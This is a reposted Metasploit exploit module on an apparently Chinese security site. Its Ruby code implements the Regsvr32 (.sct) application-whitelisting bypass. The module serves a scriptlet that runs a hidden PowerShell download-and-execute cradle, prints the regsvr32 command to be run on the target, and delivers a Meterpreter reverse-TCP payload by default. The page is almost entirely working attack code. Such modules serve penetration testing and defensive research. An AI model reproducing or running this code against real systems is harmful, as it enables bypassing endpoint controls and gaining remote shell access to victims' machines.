首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Regsvr32.exe (.sct) Application Whitelisting Bypass Server
来源:metasploit.com 作者:Ivey 发布时间:2016-06-17  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'         => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Server',
      'Description'  => %q(
        This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.
        The module creates a web server that hosts an .sct file. When the user types the provided regsvr32
        command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.
        This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).
        Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
      ),
      'License'      => MSF_LICENSE,
      'Author'       =>
        [
          'Casey Smith',  # AppLocker bypass research and vulnerability discovery (@subTee)
          'Trenton Ivey', # MSF Module (kn0)
        ],
      'DefaultOptions' =>
        {
          'Payload'    => 'windows/meterpreter/reverse_tcp'
        },
      'Targets'        => [['PSH', {}]],
      'Platform'       => %w(win),
      'Arch' => [ARCH_X86, ARCH_X86_64],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 19 2016',
      'References'     =>
        [
          ['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']
        ]
    ))
  end


  def primer
    print_status('Run the following command on the target machine:')
    print_line("regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll")
  end


  def on_request_uri(cli, _request)
    # If the resource request ends with '.sct', serve the .sct file
    #   Otherwise, serve the PowerShell payload
    if _request.raw_uri =~ /\.sct$/
      serve_sct_file
    else
      serve_psh_payload
    end
  end


  def serve_sct_file
    print_status("Handling request for the .sct file from #{cli.peerhost}")
    ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
    download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
    download_and_run = "#{ignore_cert}#{download_string}"
    psh_command = generate_psh_command_line(
      noprofile: true,
      windowstyle: 'hidden',
      command: download_and_run
    )
    data = gen_sct_file(psh_command)
    send_response(cli, data, 'Content-Type' => 'text/plain')
  end


  def serve_psh_payload
    print_status("Delivering payload to #{cli.peerhost}")
    data = cmd_psh_payload(payload.encoded,
      payload_instance.arch.first,
      remove_comspec: true,
      use_single_quotes: true
    )
    send_response(cli,data,'Content-Type' => 'application/octet-stream')
  end


  def rand_class_id
    "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
  end

  def gen_sct_file(command)
    %{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
  end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Bomgar Remote Support Unauthen
·op5 7.1.9 Configuration Comman
·PHPLive 4.4.8 - 4.5.4 - Passwo
·WordPress Gravity Forms Plugin
·Oracle Orakill.exe 11.2.0 - Bu
·phpATM 1.32 - Remote Command E
·Easy RM To MP3 Converter 2.7.3
·Skype For Business 2013 User E
·Microsoft Internet Explorer 11
·WordPress Premium SEO Pack 1.9
·Apache Continuum Arbitrary Com
·WordPress Ultimate Product Cat
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved